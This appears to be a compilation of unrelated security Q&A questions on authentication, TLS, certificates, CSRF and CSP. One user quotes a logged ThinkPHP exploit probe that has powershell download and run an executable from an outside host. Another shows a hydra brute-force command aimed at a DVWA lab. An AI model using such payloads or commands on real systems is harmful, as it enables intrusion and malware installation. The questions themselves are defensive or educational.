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Of the following two approaches, which is "more secure", under which circumstances, and why? In other words, please compare the security risks of these two approaches:
Log in to an OAuth provider such as Google or Facebook using a master passphrase; then use OAuth/OpenID to log in to other services via that OAuth provider.
Use a password manager with the same passphrase; have it generate and auto-type a separate random password for each service.
This question explains how OAuth and OpenID work and why they're considered secure, but it doesn't compare it to a password manager.
Motivation:
From my perspective as a user, OAuth and password manager solve the same problem of not having to enter separate passwords (or any passwords at all) when logging in to various services. OAuth does it by "reusing" my login into the OAuth provider (I understand the technical details are more involved, but that's how it looks to me as a user). A password manager does it by automatically typing in the password for me.
Either way, I only need to enter a single master passphrase: either to the OAuth provider or to the password manager.
I'm trying to decide when to use which solution. To do that, I want to understand their security implications more in depth (and compare them where possible).
OAuth vs separate accounts (with separate passwords), as noted by @schroeder , is one aspect of this. But a password manager is necessary to automate the password entry, and adds its own layer of security risks. So it's also an important piece of the puzzle, I think.
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If i encrypt a message with private key put the public key on server and send message to 2 enteties, how can the second one encrypt the message when the first one has the public key ?
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Is there a problem to use reflection (specifically class.forName) in server side application?
My main thread about this is someone to inject a code dumping memory in JVM and adding commands in reference memory field, but this is unlike in server side (and if server side was compromised this will be a minor problem).
Btw, I am asking because static analises keep acusing as a vulnerabiliy
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I'm new to DUKPT, so I'm not entirely clear about DUKPT and HSM. Right now, I'm trying to decrypt data (PAN number) from terminal.
So far, when I receive KSN and encrypted data, I understand that I need to find encryption key. From my HSM I can get IPEK based on (KSN, BDK). But here is the confusion, based on articles I read, and terminal vendor's doc, encryption key will be one of the Future Keys.
How would I know which Future Keys terminal uses as encryption key?
How can HSM create Future Keys from IPEK?
Once I get correct Future Keys then I can derive data key variant and do decrypting in my HSM. I'm just stuck with these two questions.
Any explanation would be really helpful.
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If I receive an incoming TLS encrypted message from another email provider like outlook/hotmail, will my reply in transit from gmail to outlook/hotmail be encrypted by default as well?
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I want to know whether or not Facebook Messenger calls can be intercepted and listened to by hackers.
Long story, but I went on a date with a girl who I then blocked immediately afterwards due to me suspecting she was a bit of a psychopath (which the proceeding story will confirm), and then a couple of days later I was bombarded with phone calls from a private number in a robotic voice, from that girl, asking why I blocked her, making threats, saying I'd get bashed and she would kill me - my exact house address was also found by her despite me never even telling her where I lived, and she actually got someone to pull up to my address to scare me at 2:00 am when this was all happening. This was scary in and of itself, but what freaked me out even more was the fact that when I went onto my computer to make a call to my friend over Messenger, telling him what was going on, we both heard the same robotic voice sending threats, and it was on the Messenger call on my computer, not on my mobile phone.
So I am going to be concerned if they can actually listen to what I was saying and potentially hack into my Facebook and other accounts.
But if it is easy to intercept a call and send messages into that call connection without actually hearing what the parties in the call are saying, then I won't be worrying as much.
And by the way, my phone was on me the entire time we were out on a date. No way would she have been able to access it. I never told her my address. There is no way she could have installed software onto my phone. She only had my phone number, and I guess she could have found my LinkedIn page and Facebook account if she searched online, but none of which reveal my exact location. I blocked her on Snapchat and I didn't have my SnapMaps on so she couldn't have figured out my location that way as well.
Please, any clarification on the severity of this matter in terms of my internet security would really be appreciated because this is quite distressing.
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Due to several customer reasons our product needs to support Basic Auth as primary authentication mechanism with client's service account.
We are using Bcrypt to store customer's password in our DB, however Bcrypt (combined with Basic Auth) is quite slow on our servers. As far as I understand this is behavior by design, however there are cases when customer will be calling our API extensively and therefore Bcrypt would dramatically increase our response time (unfortunately this is a crutial customer criteria).
To tackle this problem I have found solution by using HMAC as in memory cache for all sucessfull passwords. In summary it would goes like this:
Take from basic auth username and password
HMAC(salt, username|password) where salt is 16 urandom bytes created at application startup
check whether created HMAC has exists in memory cache
if yes -> authenticate else -> check bcrypt mechanism with username and password and if successful store given HMAC hash into cache
So far this solution performs well with high throughput, however I am no security expert and therefore other opinion would be appriciated. So here are my questions
A) Is there some other solution with basic auth which would be better?
B) Is described solution HMAC -> BCRYPT secure?
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I made a database table of emoji country codes. I exported the data via mysqldump into a file called countries.sql.
I want to share it because it was a hassle finding anything like this, so I want to save people the trouble.
No sensitive data is in the table, but in the heading of the file, it seems like some information could be used in a attack, but I'm not really sure. It gives information about the OS and DB engine. I'm sure you could get this information in other ways, but I figured I'd ask before I do.
Here is the heading of the sql file.
--
-- Host: localhost Database: analytics
-- ------------------------------------------------------
-- Server version 5.7.33-0ubuntu0.18.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
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Say I have Tor running and am browsing the dark web with the Tor browser. If I were to save a local copy of a web page and render it into another browser, like Chrome (with JS enabled), would I then have a higher risk of revealing my IP even though Tor is still running?
I do understand that you in theory never want to do this, but I am curious to know what the answer is.
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I would like to check validity of x509 certificates of my clients. I would like to trust the certificates what big companies trust. For example I would like to trust what Microsoft Edge, Chrome browser or Apple Safari trust. However, I want it to be dynamic. When they give up to trust a certain certificate authority for example, I want to behave the same manner automatically. Is there a known web service that I can use to check my clients certificates validity or the certificate signing chain's validity (not sure yet it is safe to expose those certificate details publicly) in companies sight? How could I do this?
What I would like to achieve is to implement something like EIDAS certificate check like PSD2 to prevent impersonation. (there is no PSD2 standart in this country, so there is no authority to provide EIDAS)
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I'm thinking about the way to build encryption mechanism for 'peer-2-peer' communication. This is a mechanism I had a thought of:
Alice wants to communicate with Bob
First of all, Alice and Bob must know and trust the existence of the same public key server, and retrieved its static DH public key from secure mechanism (like downloading it from secure website.)
Alice randomly generates a new DH key-pair, and calculates secret key for the server, then send the public key to the server.
Server receives public key from Alice, calculate a secret key from Alice, and send encrypted reply back to her.
Alice decrypts the message, if the decrypted is as expected, means the connection is now secure and ready to do key-exchange with Bob.
Bob does the same thing as Alice to establish a secure key exchange mechanism.
Alice and Bob, yet again, generate a new DH key-pair, and tell the server about the key to exchange with each other.
Alice requests a location and public key of Bob from the server.
Alice sends a public key from (5) to Bob.
Bob calculates secret key for Alice, and sends an encrypted response back.
Alice decrypts the message, if the result is as expected, the connection is now established.
Is this (or relevant) method exist in real-world?
If so, are there any references?
Sincerely
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I came across this website and suddenly I got worried.
What worries me is apart from the system update threat mentioned I have been visiting so many sites, clicked on pop-ups, downloaded apps from third-party stores etc. I don't know if there is any spyware or virus in my phone but it worries me now.
What if my personal data, personal photos are already there somewhere on some remote server? If this happens, if i see my photos in the internet that i never uploaded never even backed up in cloud storage what should i do then? Has this kind of things ever happened? What kind of data can they steal or copy from my phone passwords, bank accounts, photos or even videos?
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In my ~/.aws/credentials I have the following:
[default]
aws_access_key_id = <something>
aws_secret_access_key = <something-else>
This file has permissions 0600 but doesn't require anything from me if you walked up to my computer, typed on my keyboard while my back is turned, you could have these values by copying them to a thumbdrive, copying them to /tmp and grabbing them later.
With ssh I have keyfiles, but the private key requires a passphrase to use it. I can do ssh-add which will store this in memory and allow we to use ssh all day long without typing the passphrase every time. Admittedly, using ssh-add does lower the security on my machine to that of the AWS credentials, but if I reboot, security is back in place. If my machine dies and it has to go to the shop, my ssh keys are still safe, but my aws credentials aren't.
Why is this acceptable?
Why didn't AWS use an ssh type setup to begin with?
Why do I need 2 factor on my AWS login if this plaintext version of my keys is sitting on my computer?
Seems like there are 2 padlocks on the same door but the door is only pushed closed, not actually "locked".
Are my concerns overblown?
I know some people create ssh keys without passphrases, something I think is foolish, and something that essentially boils down to this same security-minus AWS mechanism. I'm not one of those people.
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Today I noticed something strange.
I got an email containing a link that links to another site than the text says. In (Simple) HTML, the review is visible when hovering over the link.
However, in plaintext, in 3 out of 4 mails only the a.com was shown
a.com
<b.com>
This makes me a bit worried however, since I only noticed the difference of displayed text and link location once another client answered, that probably had HTML view turned on.
If I switch the view of the message body to Simple HTML, I need to check if the link matches the location visually, which I want to avoid, because that might be error-prone. I do know that I could configure my Thunderbird to simply show me puny-code, but then one unaware click in the wrong moment could be fatal.
What are security-wise recent best practices to both protect yourself from clicking malicious links as well as detecting that someone has sent such a malicious link?
Specifically, is there a way to always get shown
a.com
<b.com>
in plaintext, but with the displayed part only marked as the link's location, whenever the link's text part displays an URL?
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Imagine that a hacker is cloning Twitter or Facebook. The attacker uses his own website, but it is going to be HTTP, right? So can he have the certificates that ensure that his website is "secure" showing the green confirmation before the url in the browser?
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Lets say you use SELECT * FROM ($query) sub where you can swap $query to any query you wish. Is there a way to escape this select and run a command that modifies data in the database?
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I was reading an article describing how CSRF works. The article did a pretty good job but it started to talk about how to protect against CSRF and one of the methods that the article has mentioned is using Anti-CSRF tokens. I'll quote the section below:
Use Anti-CSRF Tokens
Tokens (also known as synchronizer token patterns) are a server-side protection where the server provides a user's browser with a unique, randomly generated token and checks each request to see if the browser sends it back before carrying out a request.
This token is sent via a hidden field and should be a non-predictable, random number which expires after a short time and cannot be reused.
Depending on the sensitivity of the page, different tokens can be used for each request, or simply for different forms. The tokens should be compared in a safe way (such as by comparing hashes) and should not be sent in an HTTP get request so they are not a part of the URL and cannot leak via the Referrer header.
In the third paragraph it says the token should not be sent in an HTTP get request, which I understand (otherwise the token can be leaked). But If the anti-csrf token isn't delivered to the browser via the get request or any of the REST requests (PUT, GET, POST etc), what would be the method to deliver the token such that it cannot be leaked?
The full article can be found here: https://www.freecodecamp.org/news/what-is-cross-site-request-forgery/
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What is the security impact of a Reflected XSS vulnerability on a state website involved in financial relations? There are no user profiles on this page and it serves as an information board and a place to download project applications.
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Please correct me if I'm mistaken, but I've reached the conclusion that CA-signed certificates in the current Internet Public Key Infrastructure do not add any more security compared to servers providing self-signed certificates or raw public keys and clients performing no certificate validation.
CA-signed certificates are supposed to provide authenticity of the server. When the client validates the certificate back to a trusted root CA certificate, the client can be reasonably sure he can establish a communication channel visible only to the entity possessing the private key of the certificate (confidentiality and integrity), AND that the entity possessing the private key also controls the domain name listed in the certificate (authenticity).
One type of attack that TLS/PKI seem to focus on and claim to counter is the man-in-the-middle attack. Assuming an adversary has the ability to send/receive packets to/from an address that is not his (the whole point of using TLS/PKI in the first place), this adversary can easily "prove" to a trusted CA that he controls a domain that he does not actually control the DNS entries for.
For example in the ACME protocol, the adversary can simply complete challenges while impersonating the IP of the domain in question, and obtain a certificate from a trusted CA like LetsEncrypt. Any capable adversary can do this at any time, and the actual domain owner is completely unaware. Even if the domain under attack has an EV certificate, the adversary can provide the illegitimately obtained DV certificate, and the connection will proceed without errors (and display a secure padlock in web browsers, for example).
TLS with no certificate validation could still be used for confidentiality and integrity for some server of uncertain authenticity, but since certificates don't provide authenticity anyway, what is the actual point of the additional overhead of certificates in the first place?
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Our team is looking to either integrate or develop a physical security solution for a rather large campus.
Requirements:
Ability to either integrate (with reader/electronic lock hardware) from our mobile apps which would allow access control (over NFC/Bluetooth) to areas.
We will be writing to our already existing identity management api's and expanding them to support what we need to for this project.
We are looking to write our own mobile integrations with purchased hardware, since this functionality has to exist within our organization's already existing mobile apps we developed. (we haven't found a company that offers the level of integration we want... most of the solutions we see out there are fantastic, but require downloading the security company's mobile app, managing access control via their cloud resources, etc).
What reader/electronic door lock hardware can we buy to build this level of in-house integration with?
To summarize: we are looking to buy scanners/door locks with NFC/Bluetooth capability and write security integrations for access control through already existing mobile apps we have developed...
I realize product suggestions can be of bad taste on here, but I invite them for the sake of discussion in addition to solutions that companies offer.
Our team will be expanding to hire security professionals in this realm to assist, so you can save the "don't roll your own auth" type of answers and comments :)
Thanks in advance!
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I've looked at various ways of logging in users and I'm wondering if I should write my own.
There are a lot of third party solutions that make it easy and cheap to get started, like Amazon Cognito and Auth0. But as easy as it is to get started, they all lock you in, make you reliant on their solutions and have terribly one sided user agreements (in their favor).
There are a some open source solutions that offer a complete experience out of the box, like Keycloak. It works but it's highly opinionated about flows like email verification and its freemarker templates would take a major effort to style as we want. ORY Kratos also comes to mind, but it's in the early stages and I don't want to rely on a project they I don't know at this point if it will be around in a few years. I hope it will because it looks promising.
Spring Security used to be an option but unfortunately their current solution is deprecated.
So... should I roll my own?
It seems like bad practice, but I find it difficult to find concrete arguments. If I google the question, I find arguments against in house authentication solutions like having to hash passwords and having to write features like email verification and password reset. However, all of these would be easy to implement, so these particular examples aren't convincing reasons not to create an in house solution.
But maybe there are a lot of unknown unknowns that I should worry about?
For instance, OAuth / OIDC + PKCE have some complex flows that I can't claim to understand. Maybe these are all things we need, or maybe they're not.
What are your thoughts? Is an in house authentication solution feasible? Or should I forget about it, bite the bullet and put an Amazon/Auth0 snare around my neck? Other solutions?
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Is there a way to detect fileless kernel compromise in Linux?
The only one way to analyze this kind of attack is by volatility. Volatility is a very good product, but not often updated especially with modern kernels (obviously because kernel change often), so it gives false positives.
Is there any alternative way to check the running kernel?
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Cloudfront supports adding external origins, i.e. domains that are not S3 buckets or ALBs. This led me to wonder whether adding domains that are not owned by the entity as an origin could allow for intercept the request payload, and potentially act as an Man in the Middle Attack.
Let's say I have a REST API running on ECS behind an Application Load Balancer(ALB) on AWS. The ALB is fronted by a cloudfront domain, called abcd.cloudfront.net. As one would expect, there's a CNAME record setup on the DNS provider called app.mysite.com pointing to the cloudfront domain with a valid SSL cert from ACM. The ALB has a rule to only allow requests that have the header HOST:app.mysite.com. This create a pretty standard API flow on AWS.
What would happen if someone, with no access to my AWS account, sets up a new cloudfront domain, abcd2.cloudfront.net with the domain app.fake-mysite.com and valid ACM cert for app.fake-mysite.com, and adds a behavior to point to app.mysite.com. Can this external entity use it's own ACM cert to cause a Man in the Middle Attack?
The request flow would look like this:
app.fake-mysite.com -> abcd2.cloudfront.net -> app.mysite.com -> abcd.cloudfront.net -> my-alb.domain -> 10.0.0.100:8080 (REST API)
Would it be possible for the external entity to intercept the request at the first hop and capture the encrypted data? If so, how can this be prevented?
As far as the REST API container is concerned, the request would have originated from the app.mysite.com, and would be completely unaware of this wrapper cloudfront distribution (app.fake-mysite.com)
Note: I had initially asked this question on Stackoverflow, and I was told this is a better place to discuss this.
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I have dvwa set up and i am using the command:
hydra -IV -t 1 -l admin -P rockyou.txt localhost http-get-form "/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=tegnf0po32eavd385ckd9khqc3; security=low"
since my request in BurpSuite looks like this:
GET /vulnerabilities/brute/index.php?username=test&password=123&Login=Login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/vulnerabilities/brute/index.php
Cookie: PHPSESSID=tegnf0po32eavd385ckd9khqc3; security=low
Upgrade-Insecure-Requests: 1
Hydra only tries one password and then hangs, only giving status updates for the next minutes like so:
[STATUS] 1.00 tries/min, 1 tries in 00:01h, 14344397 to do in 239073:18h, 1 active
[STATUS] 0.33 tries/min, 1 tries in 00:03h, 14344397 to do in 717219:52h, 1 active
My hydra version is v9.1
I am running DVWA in a docker container and can access the target page via browser on the url: http://localhost/vulnerabilities/brute/index.php
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What is the process of validating that a ssl certificate I try to validate is really signed by CA I trust?
What is the part of the certificate (The one I try to validate) is the one cant be faked?
From what I understand there should be some data encrypted (and possibly hashed) by the CA private key, so I can decrypt it with the public key of the CA certificate in my trust store and compare hashes.
More specifically:
How is the verification of the CA (whole chain) is performed? How can I know that the certificate I try to verify didn't just say "Yep, Verisign signed me."
I know it's done with a digital signature, but what field of the certificate is used to perform this signature to verify the CA?
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If I run an exploit like EternalBlue with Metasploit on whonix to a remote machine, do I remain anonymous? I think I do because it goes over tor but I am not sure. Am I right?
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My server is under attack on an specific port but I am confused whether is a DDoS attack or a DoS attack (if it requires a botnet or is using some kind of trick). The entire server is available (website, SSH, SMTP, etc...) except the port attacked.
The service that runs on that port is using 8-10% CPU and about 900 MB RAM (which is normal, even lower) DoS definition?
My provider has detected it as a DDoS attack and sent my server to the mitigation infrastructure.
I have tried to block all incoming traffic from that port using iptables allowing just my IP address with no success, the service was still unavailable (I tried to kill the process -9 and starting it again with all connections blocked).
iptables -A INPUT -p tcp --dport xxxx -s myip/32 -j ACCEPT
iptables -A INPUT -p udp --dport xxxx -s myip/32 -j ACCEPT
iptables -A INPUT -p tcp --dport xxxx -j DROP
iptables -A INPUT -p udp --dport xxxx -j DROP
The weird thing is if I open the service on another port, everything is fine. The server responds as if it wasn't being attacked, the same happens with all other applications.
tcpdump detects tons of UDP packets like:
No: 6610
Time: 3.517741
Source: 84.35.69.7
Destination: My server
Protocol: UDP
Length: 46
Info: 18926 -> xxxx Len=4
I'd like to know how do I diagnose this kind of attack since I am still new to this networking world or if I am missing doing something.
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I want to enable client-certificate authentication in my AKS cluster and I have a basic question which I just don't seem to understand. As per the docs, ingress requires the CA certificate to be stored in a secret. My question is: Assuming that I use client-certificates that have been issued by a trusted CA (that's how it works right? CAs issue client-certificates that they sign?), why would a trusted CA give me their CA certificate to be stored in AKS cluster as a secret? Do CAs just hand out their certificates out to public? Isn't that a security issue? (since I can sign client-certificates using that CA certificate)
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We have an admin web portal that we use to configure and monitor our system We recently had a security consultant scan our servers for vulnerabilities.
Our admin portal is secured with username and password authentication and with two-factor authentication.
The issue is that the security consultant is performing the vulnerability assessment and penetration testing with a fully authenticated user with full permission. This makes sense but as the user is fully authenticated the scans are changing configuration so much that the system won't run anymore.
So, is it right to perform the scans this way?
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All the references I have found
https://en.wikipedia.org/wiki/IEEE_802.11i-2004
https://www.wifi-professionals.com/2019/01/4-way-handshake
https://www.hitchhikersguidetolearning.com/2017/09/17/eapol-4-way-handshake/
indicate that the first thing that happens is the sending of the Anonce( a random number) from the access point to the client.
This communication carries no information and could have come from any attacker.
The client then constructs message 2 with this formula:
PTK = PRF (PMK + Anonce + SNonce + Mac (AA)+ Mac (SA))
Now the access point can create message 3 to return to the client.
Since the access point kicked off the whole process with just a random number, How does the client know that the access point is genuine and not a spoof? Somewhere I am missing where the 4 way handshake proves the access point's authenticity.
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I was curious about setting SHA-3 as the preferred hashing algorithm for GPG but that looks like it is not yet supported and the documentation states this:
SHA-3: SHA-3 is a completely new hash algorithm that makes a clean
break with the previous SHAs. It is believed to be safe, with no
warnings about its usage. It hasn’t yet been officially introduced
into the OpenPGP standard, and for that reason GnuPG doesn’t support
it. However, SHA-3 will probably be incorporated into the spec, and
GnuPG will support it as soon as it does.
What does this mean: "...and GnuPG will support it as soon as it does"?
Are there any development plans for supporting SHA3 or BLAKE?
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I am using a custom Python build, with the liboqs-openssl which is encapsulating pq-algorithms. I generated the certificates using the provided dilithium2 algorithm and wanted to create a simple SSL connection with a Python client and server.
Simplified client:
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.load_verify_locations('.../quantum-safe-chat/pqca/ca/dilithium2_CA.crt')
_socket = socket(AF_INET, SOCK_STREAM, 0)
_socket = context.wrap_socket(_socket, server_hostname=hostname)
_socket.connect(address)
Simplified server:
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
context.load_cert_chain(certfile='.../quantum-safe-chat/pqca/server/dilithium2_srv.crt',
keyfile='.../quantum-safe-chat/pqca/server/dilithium2_srv.key')
server = socket(AF_INET, SOCK_STREAM, 0)
server.bind(self.__address)
server = context.wrap_socket(self.__server, server_side=True)
Now when I try to run the server and the client, I get the client error ssl.SSLError: [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1129) and the server error ssl.SSLError: [SSL: NO_SHARED_CIPHER] no shared cipher (_ssl.c:1129).
I already tried printing out the ciphers with context.get_ciphers() on both ends, where they were identical. Also I tried manually setting it to the same cipher on both ends with context.set_ciphers('ECDHE-RSA-AES256-GCM-SHA384') which only gives me the same result.
Does anyone have an idea what the issue might be?
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I see Android malware being mentioned when reading peer reviewed papers about malware detection for smartphones, but iOS is never mentioned.
Even Malwarebytes says:
Historically, iOS has never been completely free of malware, but it has mostly been limited to one of two scenarios: Either you jailbroke your device, hacking it to remove the security restrictions and installing something malicious as a result, or you were the target of a nation-state adversary.
Why does (almost) no one seem to care about malware for iOS? I assume it's because malware for iOS is not a problem, but why? Are iPhones more secure then Android by default? If so, how?
A comment mentioned that the reason no one cares about this is because of market share. According to Fortune there are 700 million iPhones in circulation as of 2017. That's not an insignificant amount of people!
I found a research paper from 2020 about malware detection on iOS and they clearly state in the second paragraph of their introduction:
Yet currently, not much existing research related with
detection for iOS malwares such as by [8-12]. Hence, this
research will tackle this gap by developing a new iOS mobile
malware detection model.
And their Abstract (emphasis mine):
There are raising cases of mobile malwares exploiting iOS users across the world such as FinSpy and Exodus that were able to steal credential information from the victims and affect loss of victims' productivity. Yet, not many solutions were able to encounter iOS malware attacks. Hence, this paper presents a new iOS mobile malware classification based on mobile behaviour, vulnerability exploitation inspired by phylogenetic concept. The experiment was conducted by using hybrid analysis. Proof of concept (POC) was conducted and based on the POC it indicated that this proposed classification is significant to detect the malware attacks. In future, this proposed classification will be the input for iOS mobile malware detection.
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It is my understanding that SSDs do not allow user to overwrite any specific file completely (wear-leveling). So in case of ransomware attack such as CryptoLocker, doesn't that mean there is still, always, an unencrypted copy of file on the disk? If so, can it be recovered without $100K equipment? Thanks.
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Given a flow of information (for example from the URL) into a sink on a certain site, and given that this information is plain, i.e. is not sanitized, does this mean that if an attacker could control the information flow, this will ALWAYS give the attacker an exploit? Or does the exploitability rather depend on the situation?
If the latter is true, could you give me an example of a sink, where the provided modified information would not lead to an exploit?
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From my understanding, torrenting differs from standard downloading because it will get pieces of the file from other torrent clients, making it faster (and decentralized if I'm not wrong).
How safe is this? Could a user of a torrent client do something malicious with their piece of the file? I just want to download Linux ISOs faster.
Could I end up getting malware?
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I'm taking a cryptography course and what I've gathered so far is: PGP takes place at the application layer TLS takes place at the transport layer IPsec takes place in the network layer WPA2 Encryption takes place in the physical layer
I understand the protocols and such but don't really get how they are used in practice. Do any one of the above protocols take place? Are they all used at the same time?
For example say I'm sending an email to a friend. Will it first be encrypted with PGP by the application, then by TLS at the transport layer, then by IPsec in the network layer, and then by WPA2 in the physical layer? Or is any single one of the above done? Consider I'm sending an email over an HTTPS connection through a VPN and am connected to a router using WPA2.
If encryption and decryption is happening multiple times is it safe to remove all but one of the above? If not what is the purpose of using each of them together?
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When RSA is used for Key Exchange, the pre-master key is encoded with the server certificate public key, so the server would not be able to decode it if it didn't possess the private key.
However, when ECDHE is used for Key Exchange, how does the client make sure the server is legit and possess the private key relative to the provided certificate?
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Around a year ago, I was on Reddit and clicked on a hyperlink, not knowing it grabs your IP. Ever since then, the person who grabbed my IP would sometimes comment on my Reddit posts and comments saying things like "I can't wait to meet you" and things similar to that. Should I be scared, or are they just trying to scare me for fun? (Also, their YouTube channel is called ChupplesTheClown, as the link I clicked redirected me to one of their videos.)
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We've recently conducted a security review of our identity server website and one of the finding was about missing CSP header. We do have implementation of request filter to add CSP on a controller level. So my question is, is there any documentation out there recommending CSP for or against certain response? It seems overkill to include CSP in all responses.
Here is what I could find which makes sense for pages that have reference to 3rd party code like analytics.
https://developers.google.com/web/fundamentals/security/csp
Even on a fully static website, which does not accept any user input,
a CSP can be used to enforce the use of Subresource Integrity (SRI).
This can help prevent malicious code from being loaded on the website
if one of the third-party sites hosting JavaScript files (such as
analytics scripts) is compromised.
Here are some responses I am questioning whether they are appropriate. Finding some documentation around it would help us justify whether or not it is worth adding them.
Non HTML response (json, css, etc...)
Redirect response (redirect 302)
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I read that, on TLS, each TLS Record (after the handshake) is "reliable", meaning, it cannot be tampered with.
I understand the handshake, but I don't understand exactly how "tamper-proofness" is achieved per TLS Record or TCP packet.
I have a suspicion that each record includes the HMAC of the record itself plus the session/master-key, but I would like to confirm that.
How is each TLS record "signed"?
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I have a little Wordpress honeypot set up. I have it specifically set up so that when the server's IP address is accessed, the wordpress website shows up, ie. no vhost. I was reading the site's access logs and started noticing wordpress probes with the referer showing a strange website.
77.79.196.146 - - [10/May/2021:21:31:57 +0000] "GET /?author=2 HTTP/1.1" 200 3446 "http://faraday.xxxx.xxxx///?author=2" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
I decided to do a dns lookup of the site:
All of the site's subdomains (except for www which points to a GitHub pages IP) point to my server's IP address. Keep in mind this is a honeypot wordpress site that I haven't shared with anyone. I also have a domain attached to it (dns and rdns records). What is the point of this? This domain wasn't created to target me (or so I think), it was created almost three years ago.
What kind of attack is this and what is the attacker trying to achieve?
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While reading up about WPA2-Enterprise, it states that it is more preferred over WPA2-Personal as it allows authentication via digital certificates which prevents over-the-air attacks.
However, I am unsure of the following implications about this implementation. If WPA2-Enterprise was to be implemented:
Can the authentication cert on machine A be dumped out, installed on machine B and use to authenticate to the network?
If user A uses a domain user account to login to machine A, and connects to the network using an authentication cert. user A also has a local admin account on machine A.
Is it possible for the local admin account to obtain the authentication cert of the domain user account on machine A and install it onto machine B and login using the same domain user account?
Can I issue unique certificates to each machine for authentication or do they have to request one during the authentication process?
Apologies in advance for the weird question, have no previous experience with WPA2-Enterprise at all!
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I need to create WebSocket authentication mechanism without using ticketing, so the whole authentication needs to be performed via HTTP (over SSL) GET request which is sent to upgrade connection to WebSocket (code snippet used to handle upgrade in NodeJS).
The problem lays in GET request which is not supposed to be used in authentication (mentioned here and here). I would need to send password via path or query parameters in URL e.g. wss://example.com/username/password123 and then validate it on server side.
My idea is to encrypt the password on client side with Argon2 (using salt) and then send it with WebSocket upgrade request (GET) over HTTPS as url path parameter to the server which will validate it with database entry. I know that this question is similar to this one, but it doesn't cover password encryption. Is that enough to say that it's a good and secure approach?
Thanks for help.
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I have a map (openlayers) which is integrated in a website made on wordpress. So, the wordpress has almost nothing to do with the map. The map is only included in an article.
The wordpress site is on www.example.com. The map is on mymap.example.com
In some article from www.example.com:
<script src="https://mymap.example.com/public/js/map.js"></script>
<div data-map="true"></div>
The map.js script includes a json file generated with PHP on https://mymap.example.com/ subdomain.
My problem is that I want to let my visitors to be able to use the map, but they are unable because the json file is blocked by CORS policy.
As the JSON file is created by PHP, the solution seems to be to set header Access-Control-Allow-Origin: *, just for this file.
The question is:
Do I get vulnerable if I do this ? Would that be a hole for the wordpress site ?
If the answer is yes, can you give me an example ?
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There is a site that allows a voter to vote for their favorite nominee once a day for a certain amount of days. While entering a vote, the only info given is the ballot choice you choose and nothing else.
If you are to go back and vote again, there is a message saying "please wait until next day to vote again". However if you just simply use a different internet browser you can enter another ballot.
I'm wondering what they are using to identify the voter through the browser and if they can tell when a single voter is entering multiple votes through different browsers. Also is there an even more simple/easier way that a voter could be doing this without having to use multiple browsers?
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I've just imported Whonix VirtualBox VM, and have encrypted its drive via VirtualBox settings. Now when I booted it, the default credentials are "user/changeme", and setup suggests I change the password. I am not sure if I need to change the defaults.
If the VM itself is already encrypted, does setting complex user passwords make the system any more secure? I am the sole user of this computer, I only care if someone uses it in my absence.
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Now machines are super powerfull to encrypt data/messages or will be even tremendously powerfull using Quantum Computing.
Machines use different ways of encryption when we give them a task to decrypt an encrypted data. Probably, they use some previous defined codes which would have been ever used or may be some new user defined codes.
My question is-
Can any machine decrypt a phrase encrypted by me?
Take an exapmle, I made a simple code way to write something secret. I would write all English alphabet and value of some constant (say Gelfond's constant, e^π) in a series and would assign every letter a three number code corresponding to the value of constant used.
It is secret
086445|086993|993779926211779445
Or you can remove separators.
It was an easy example. You may have tried some more complicated way that may not have been ever tried by any people in the world and wouldn't have been programmed to decrypt a data. Will a computer be able to decrypt my phrase?
|
Is it possible to reverse a password hashed with bcrypt?
|
I have a Django application running on a Digital Ocean Ubuntu server. I am using NGINX and Daphne to serve the application because I am using Django Channels.
My websockets keep crashing, and I noticed in the logs when the crash occurs, this message:
127.0.0.1:46138 - - [11/May/2021:14:03:33] "GET /public/index.php?s=index/think\ap p/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20 /c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hog noob.se/download.exe','%SystemRoot%/Temp/nagagewrehutkiz561.exe');start%20%SystemR oot%/Temp/nagagewrehutkiz561.exe" 404 2111
It looks very suspicious to me, but my knowledge of security is minimal. Can anyone help me determine if this is something I should be concerned about?
The fact that it is a GET request that I did not submit (nobody else is using this server currently)
But perhaps it is something automatically submitted by my browser?
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My organization has scanned our code using Checkmarx and the low severity issue Potential Clickjacking on Legacy Browsers was detected due to a JavaScript function firing on an HTML image click event.
We have implemented the following suggested fixes:
Define and implement a Content Security Policy (CSP) on the server
side, including a frame-ancestors directive (frame-ancestors 'self')
"X-Frame-Options" header set to "SAMEORIGIN"
Added a frame-busting script similar to the following example in the Checkmarx documentation:
<html>
<head>
<style> html {display : none; } </style>
<script>
if ( self === top ) {
document.documentElement.style.display = 'block';
}
else {
top.location = self.location;
}
</script>
</head>
<body>
<button onclick="clicked();">Click here if you love ducks</button>
</body>
</html>
Now Checkmarx flags the file for the high severity issue Client DOM XSS due to the line:
top.location = self.location;
that was recommended to be added for legacy click jack protection.
